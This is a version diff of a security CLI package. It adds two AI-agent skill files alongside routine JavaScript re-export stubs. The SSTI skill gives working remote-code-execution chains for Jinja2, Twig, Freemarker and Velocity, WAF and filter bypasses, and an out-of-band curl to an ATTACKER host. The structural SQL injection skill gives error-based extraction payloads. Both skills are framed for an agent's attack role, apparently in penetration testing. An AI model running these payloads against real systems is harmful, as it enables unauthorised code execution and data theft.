0sec-cli 0.15.0 → 0.17.0

package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml

@@ -0,0 +1,112 @@
+id: ssti-exploitation
+name: "SSTI Detection and RCE Escalation"
+description: "Server-Side Template Injection detection, engine identification, and RCE escalation across Jinja2, Twig, Freemarker, Velocity, Pebble, and Mako."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+tags:
+  - ssti
+  - template-injection
+  - rce
+  - jinja2
+  - twig
+  - freemarker
+  - mako
+  - pebble
+triggers:
+  - "\\{\\{.*\\}\\}"
+  - "\\$\\{.*\\}"
+  - "<%=.*%>"
+  - "jinja"
+  - "twig"
+  - "freemarker"
+  - "thymeleaf"
+  - "mako"
+  - "velocity"
+  - "pebble"
+  - "template.*engine"
+  - "render.*template"
+  - "\\b49\\b"
+estimated_tokens: 800
+content: |
+  ## SSTI Detection and RCE Escalation
+
+  ### Phase 1: Polyglot Detection Probes
+  Send these probes to every user-controlled input that might reach a template:
+  ```
+  {{7*7}}         → 49 = Jinja2, Twig, or Nunjucks
+  ${7*7}          → 49 = Freemarker, Velocity, Mako, Thymeleaf
+  <%= 7*7 %>      → 49 = ERB (Ruby), EJS (JS)
+  #{7*7}          → 49 = Ruby (Slim/Haml), Pebble
+  #set($x=7*7)${x} → 49 = Velocity
+  ${T(java.lang.Math).random()} → float = Spring Expression Language (SpEL)
+  ```
+  If the output shows `49` or similar computed result, SSTI is confirmed.
+
+  ### Phase 2: Engine Fingerprinting
+  Narrow down the engine with type-specific probes:
+  - **Jinja2**: `{{config}}` returns Flask config dict, `{{self.__class__}}` works
+  - **Twig**: `{{_self.env.getFilter('id')}}` or `{{dump()}}` works; `{{config}}` does not
+  - **Freemarker**: `${.version}` returns engine version, `<#assign x=1>` works
+  - **Velocity**: `#set($a=1)$a` renders `1`, `$class.forName()` available
+  - **Mako**: `${self.module.__loader__}` works, Python syntax accepted
+  - **Pebble**: `{% set x = 7*7 %}{{x}}` renders `49`, `beans` keyword available
+  - **Thymeleaf**: `__${T(java.lang.Runtime).getRuntime().exec('id')}__` in URLs
+
+  ### Phase 3: Jinja2 RCE Escalation
+  Primary chain (most reliable):
+  ```
+  {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
+  ```
+  Alternative chains when `config` is blocked:
+  ```
+  {{''.__class__.__mro__[1].__subclasses__()}}
+  ```
+  Find `subprocess.Popen` (usually index ~250-400), then:
+  ```
+  {{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()}}
+  ```
+  Bypass `_` filter:
+  ```
+  {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
+  ```
+
+  ### Phase 4: Twig RCE Escalation
+  Twig 1.x (legacy, direct exec):
+  ```
+  {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
+  ```
+  Twig 3.x (system via filter):
+  ```
+  {{['id']|filter('system')}}
+  ```
+  File read: `{{'/etc/passwd'|file_excerpt(0,50)}}`
+
+  ### Phase 5: Freemarker RCE
+  ```
+  <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
+  ```
+  Alternative: `${object.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(object.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}`
+
+  ### Phase 6: Velocity RCE
+  ```
+  #set($rt=$class.forName("java.lang.Runtime"))
+  #set($m=$rt.getMethod("getRuntime"))
+  #set($r=$m.invoke(null))
+  $r.exec("id")
+  ```
+
+  ### Phase 7: Blind SSTI Confirmation
+  When output is not reflected:
+  - **Time-based**: `{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}}` — 5s delay confirms
+  - **OOB callback**: `{{config.__class__.__init__.__globals__['os'].popen('curl http://ATTACKER:9000/ssti-confirmed').read()}}`
+  - **Error-based**: force a TypeError by accessing invalid index — error message may leak data
+  - **File write**: `{{config.__class__.__init__.__globals__['os'].popen('id > /tmp/ssti-proof.txt').read()}}` then read via LFI
+
+  ### Phase 8: Filter/WAF Bypass
+  - Replace `{{` with `{%print(...)%}` (Jinja2)
+  - Use `|attr()` filter to avoid dot notation: `''|attr('__class__')`
+  - Hex-encode underscores: `\x5f` instead of `_`
+  - Use `request.args` or `request.values` to pass payload components as URL params
+  - URL-encode entire payload in GET parameters

package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml

@@ -0,0 +1,91 @@
+id: structural-sqli
+name: "Structural / JSON-Key SQL Injection"
+description: "SQL injection where the injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY, SELECT column, dynamic WHERE) — not a parameterised value. Driven by an error-message feedback loop that refines payloads over blind iterations."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+tags:
+  - sqli
+  - structural-sqli
+  - json-key
+  - blind-sqli
+  - order-by
+  - error-based
+  - database
+triggers:
+  - "ORDER\\s+BY"
+  - "GROUP\\s+BY"
+  - "Unknown column '[^']*' in"
+  - "column \"[^\"]*\" does not exist"
+  - "Invalid column name"
+  - "no such column"
+  - "sort(_?by|Field|_?field|_?order|_?column)"
+  - "order(_?by|Field|_?field|_?column|_?dir)"
+  - "\"(sort|order|column|field|groupBy|orderBy)\"\\s*:"
+  - "near \"[^\"]*\": syntax error"
+  - "unrecognized token"
+estimated_tokens: 700
+content: |
+  ## Structural / JSON-Key SQL Injection
+
+  Most SQLi tooling (ZAP, commercial DAST) fuzzes JSON **values**. Values are
+  usually parameterised, so they find nothing. The high-value miss is when the
+  backend concatenates a JSON **key / field name** into SQL — these are almost
+  never parameterised because you can't bind an identifier:
+
+  - `ORDER BY ${key}` / `GROUP BY ${key}` (sort/pagination params)
+  - `SELECT ${key} FROM ...` (caller-chosen projection / column allow-list bug)
+  - dynamic `WHERE ${key} = ?` filter builders
+  - `{"sort": "name", "dir": "asc"}` → `ORDER BY name asc`
+
+  This is the "structural" vector. The surface is the **key**, not the value.
+
+  ### Step 1: Find key-driven SQL surfaces
+  Look for request bodies / params whose KEYS or key-values name columns:
+  `sort`, `sort_by`, `sortField`, `order`, `order_by`, `orderBy`, `column`,
+  `field`, `group_by`, `select`, `columns[]`, `filter[<key>]`. GraphQL/JSON
+  APIs with arbitrary filter objects are prime. The tell in error output:
+  `Unknown column '...'`, `column "..." does not exist`, `Invalid column name`,
+  `no such column` — the server tried your key AS an identifier.
+
+  ### Step 2: Drive the blind error-iteration loop
+  This is blind (no reflected data), so confirm via a differential error loop —
+  exactly what the `structural-sqli` probe module automates:
+
+  1. **Break:** inject a key with a trailing quote: `name'`. A statement like
+     `SELECT name' FROM ...` is now unbalanced. A DB error confirms the key
+     reaches the parser.
+  2. **Fingerprint:** read the error to pin the dialect:
+     - MySQL/MariaDB: "You have an error in your SQL syntax", "Unknown column"
+     - PostgreSQL: "unterminated quoted string at or near", PSQLException
+     - MSSQL: "Unclosed quotation mark", "Incorrect syntax near"
+     - Oracle: `ORA-NNNNN`, "quoted string not properly terminated"
+     - SQLite: "unrecognized token", "no such column"
+  3. **Balance (refine):** re-close the quote and comment out the tail using the
+     DISCOVERED dialect's comment syntax — MySQL needs `-- ` (trailing space),
+     others accept `--`: `name'-- -`. If this now parses cleanly (no error)
+     while the bare `name'` errored, the key is being parsed as SQL → confirmed.
+  4. **Iterate:** if the balanced close still errors, the dialect guess or
+     close syntax was wrong — refine and retry within budget.
+
+  ### Step 3: Prove impact (minimal, verification-oriented)
+  Once structural injection is confirmed on a key:
+  - `ORDER BY` boolean oracle: `...,(CASE WHEN (1=1) THEN name ELSE id END)` —
+    flips row order on a true/false condition without quotes.
+  - Error-based extraction (MySQL): `ORDER BY extractvalue(1,concat(0x7e,version()))`.
+  - Postgres: `ORDER BY 1=cast(version() as int)` surfaces the version in the
+    cast error.
+  Extract the **minimum** non-sensitive proof (DB version, `current_user`, one
+  `information_schema` row). Do NOT dump data.
+
+  ### Step 4: Emit the finding with the iteration trail
+  Save the finding with the ordered probe trail (each payload key → response
+  verdict → dialect), the confirming differential (broken errored, balanced did
+  not), and the dialect. Assume false-positive until the differential holds.
+
+  ### Why scanners miss this
+  Identifier-position injection has no quote/value to fuzz and no reflected
+  output — value-oriented scanners skip it. The key insight: keys naming SQL
+  identifiers are concatenated, and the error-message loop turns a blind
+  identifier surface into a confirmable one.

package/chunks/appsec-catalog-CBWHGTEL.js

@@ -0,0 +1,24 @@
+#!/usr/bin/env node
+import { createRequire as __0secCreateRequire } from "node:module";
+const require = __0secCreateRequire(import.meta.url);
+import {
+  activeAppsecLensRegistryPath,
+  appsecArchetypeDigest,
+  appsecArchetypeToFinderLens,
+  appsecArchetypesPath,
+  appsecLensLedgerEntryDigest,
+  appsecUserArchetypesPath,
+  loadAppsecArchetypes,
+  loadAppsecFinderLenses
+} from "./chunk-QI233I24.js";
+import "./chunk-IR537GON.js";
+export {
+  activeAppsecLensRegistryPath,
+  appsecArchetypeDigest,
+  appsecArchetypeToFinderLens,
+  appsecArchetypesPath,
+  appsecLensLedgerEntryDigest,
+  appsecUserArchetypesPath,
+  loadAppsecArchetypes,
+  loadAppsecFinderLenses
+};

package/chunks/artifact-scraper-GJEZMOHF.js

@@ -0,0 +1,34 @@
+#!/usr/bin/env node
+import { createRequire as __0secCreateRequire } from "node:module";
+const require = __0secCreateRequire(import.meta.url);
+import {
+  classifyReferences,
+  findCveArtifacts,
+  findRedHatTrackerUrls,
+  findUbuntuTrackerUrls,
+  normaliseCveId,
+  parseGhsaResponse,
+  parseNvdResponse,
+  parseOsvResponse,
+  parseRedHatTracker,
+  parseUbuntuTracker,
+  scoreCodeCandidate,
+  scoreRepoCandidate
+} from "./chunk-QKICO43A.js";
+import "./chunk-KKGE5RQE.js";
+import "./chunk-YLMN3N25.js";
+import "./chunk-IR537GON.js";
+export {
+  classifyReferences,
+  findCveArtifacts,
+  findRedHatTrackerUrls,
+  findUbuntuTrackerUrls,
+  normaliseCveId,
+  parseGhsaResponse,
+  parseNvdResponse,
+  parseOsvResponse,
+  parseRedHatTracker,
+  parseUbuntuTracker,
+  scoreCodeCandidate,
+  scoreRepoCandidate
+};

package/chunks/assumption-mining-BVMMUZHB.js

@@ -0,0 +1,79 @@
+#!/usr/bin/env node
+import { createRequire as __0secCreateRequire } from "node:module";
+const require = __0secCreateRequire(import.meta.url);
+import {
+  ASSUMPTION_MODEL_VERSION,
+  assumptionsToHuntPlan,
+  buildFocusedCandidates,
+  buildFunctionBodyIndex,
+  computeEstablisherSets,
+  computeEstablisherWrappers,
+  crossCheckAssumptions,
+  dualViewSeamDecision,
+  heldLockIdsAt,
+  isCrossApiAssumption,
+  isMechanizableEstablisher,
+  loadAssumptionModel,
+  mineAssumptions,
+  normalizeAssumptions,
+  objectFieldAccesses,
+  objectTypeToken,
+  runAssumptionHunt,
+  scanDualViewContexts,
+  scanViolatingContexts,
+  scoreDualViewWeaponizability,
+  storeAssumptionModel,
+  subjectSelfEnforces
+} from "./chunk-47TQJWDH.js";
+import "./chunk-SNKTC4BP.js";
+import {
+  composeGate,
+  makeSkepticVerifier
+} from "./chunk-K26SZ37E.js";
+import "./chunk-RJWOYEOG.js";
+import "./chunk-O462Y7P2.js";
+import "./chunk-LOHTE223.js";
+import "./chunk-3MOLBTLS.js";
+import "./chunk-P6WKNFWX.js";
+import "./chunk-SOG2U7B3.js";
+import "./chunk-LP3HHYQU.js";
+import "./chunk-KLTNTE2Z.js";
+import "./chunk-HT6P7RY3.js";
+import "./chunk-RRMJC3ZE.js";
+import "./chunk-H2FFLZNK.js";
+import "./chunk-UM3ZNQIM.js";
+import "./chunk-57ZENEX2.js";
+import "./chunk-MMLDQR4H.js";
+import "./chunk-2SANI5RH.js";
+import "./chunk-CLHCDHP4.js";
+import "./chunk-QOKTUOU2.js";
+import "./chunk-KKGE5RQE.js";
+import "./chunk-YLMN3N25.js";
+import "./chunk-DW5UWPFY.js";
+import "./chunk-IR537GON.js";
+export {
+  ASSUMPTION_MODEL_VERSION,
+  assumptionsToHuntPlan,
+  buildFocusedCandidates,
+  buildFunctionBodyIndex,
+  composeGate,
+  computeEstablisherSets,
+  computeEstablisherWrappers,
+  crossCheckAssumptions,
+  dualViewSeamDecision,
+  heldLockIdsAt,
+  isCrossApiAssumption,
+  isMechanizableEstablisher,
+  loadAssumptionModel,
+  makeSkepticVerifier,
+  mineAssumptions,
+  normalizeAssumptions,
+  objectFieldAccesses,
+  objectTypeToken,
+  runAssumptionHunt,
+  scanDualViewContexts,
+  scanViolatingContexts,
+  scoreDualViewWeaponizability,
+  storeAssumptionModel,
+  subjectSelfEnforces
+};